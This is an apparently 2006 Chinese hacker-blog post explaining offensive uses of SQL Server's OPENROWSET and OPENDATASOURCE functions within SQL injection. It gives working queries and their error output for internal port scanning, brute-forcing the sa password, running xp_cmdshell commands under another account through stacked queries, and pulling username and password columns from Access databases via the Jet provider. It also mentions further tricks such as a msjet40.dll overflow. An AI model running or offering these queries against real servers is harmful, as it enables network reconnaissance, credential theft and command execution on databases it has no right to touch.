• 2006-06-28

    openrowset/opendatasource的其它技巧

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://superhei.blogbus.com/logs/2716874.html

    openrowset/opendatasource的其它技巧

    Author:SuperHei_[At]_ph4nt0m.org
    Blog:http://superhei.blogbus.com/
    Team:http://www.ph4nt0m.org
    Data: 2006-04-16

    前言:
         openrowset/opendatasource的应用大家应该很熟悉了,cadt[1]就是利用的openrowset,其实我们利用openrowset/opendatasource还可

    以做很多事情。


    一、函数原形参考:

    OPENROWSET:http://msdn2.microsoft.com/zh-cn/library/ms190312(SQL.90).aspx

    OPENROWSET
    ( { 'provider_name' , { 'datasource' ; 'user_id' ; 'password'
       | 'provider_string' }
          , {   [ catalog. ] [ schema. ] object
           | 'query'
         }
       | BULK 'data_file' ,
           { FORMATFILE = 'format_file_path' [ <bulk_options> ]
           | SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB }
    } )

    <bulk_options> ::=
       [ , CODEPAGE = { 'ACP' | 'OEM' | 'RAW' | 'code_page' } ]
       [ , ERRORFILE = 'file_name' ]
       [ , FIRSTROW = first_row ]
       [ , LASTROW = last_row ]
       [ , MAXERRORS = maximum_errors ]
       [ , ROWS_PER_BATCH = rows_per_batch ]

    OPENDATASOURCE:http://msdn2.microsoft.com/zh-cn/library/ms179856(SQL.90).aspx

    OPENDATASOURCE ( provider_name, init_string )

    二、具体利用
    [下文都以OPENROWSET为例]

    A.sqloledb接口利用:

    select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=aaa;pwd=aaa','select @@version')

    provider_name:sqloledb
    datasource:server=127.0.0.1,1433
    user_id:uid=aaa
    password :pwd=aaa  
    query:  select @@version
                          
    1.利用参数datasource进行端口(内网)扫描:

    a.本地端口扫描:
    *.打开端口[是]:
    select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=superhei;pwd=','select @@version')
    服务器: 消息 18456,级别 14,状态 1,行 1
    用户 'superhei' 登录失败。
    *.打开端口[否]:
    select * from openrowset('sqloledb','server=127.0.0.1,2433;uid=superhei;pwd=','select @@version')
    服务器: 消息 17,级别 16,状态 1,行 1
    SQL Server does not exist or access denied.

    b.内网端口扫描:
    *.打开端口[是]:
    select * from openrowset('sqloledb','server=169.254.155.7,1433;uid=superhei;pwd=','select @@version')
    服务器: 消息 18456,级别 14,状态 1,行 1
    用户 'superhei' 登录失败。
    *.打开端口[否]:
    select * from openrowset('sqloledb','server=169.254.155.8,1433;uid=superhei;pwd=','select @@version')
    服务器: 消息 17,级别 16,状态 1,行 1
    SQL Server does not exist or access denied.

    2.利用user_id/password进行用户密码猜解:
    *密码正确
    select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123456','select @@version')

    Microsoft SQL Server  2000 - 8.00.194 (Intel X86)   Aug  6 2000 00:57:48   Copyright (c) 1988-2000 Microsoft Corporation  

    Personal Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

    *密码错误
    select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123','select @@version')
    服务器: 消息 18456,级别 14,状态 1,行 1
    用户 'sa' 登录失败。

    3.跨用户执行SQL

    如果web当前连接的用户权限太低如public,提高上面的方法破解出sa的其他dbo的密码,那么我们可以通过注射跨用户[权限]执行SQL语句了,

    我们先测试下:

    select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123456','exec master.dbo.xp_cmdshell [dir]')

    服务器: 消息 7357,级别 16,状态 2,行 1
    未能处理对象 'exec master.dbo.xp_cmdshell [dir]'。OLE DB 提供程序 'sqloledb' 指出该对象中没有任何列。

    晕~~, 没有成功:没有列。我们可以利用多语句来突破:

    select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123456','select user;exec master.dbo.xp_cmdshell

    [dir>c:\test.txt]')

    返回select user的结果,我们在到c盘看看test.txt存在,exec master.dbo.xp_cmdshell [dir>c:\test.txt]成功执行了。


    B.Microsoft OLE DB Provider for Jet等其他接口的利用。

    SELECT f_name, f_password FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0', 'D:\lse\Connections\q.mdb';'admin';'',admin)
    [ps:mdb没有设置密码是 用户名为admin ,密码为空]

    返回数据库D:\lse\Connections\q.mdb、表admin、列f_name, f_password的内容,这样我们可以提高sql注射得到mdb里的一些敏感数据,不过

    上面的语句必须要求sa权限。我们还可以结合一些接口漏洞,如msjet40.dll溢出,来执行命令。

    还有regwrite结合利用沙盒 再利用select shell()执行。等等。

    4.BULK的利用[略...有兴趣的同学可以搞搞]

    收藏到:Del.icio.us




发表评论

您将收到博主的回复邮件
记住我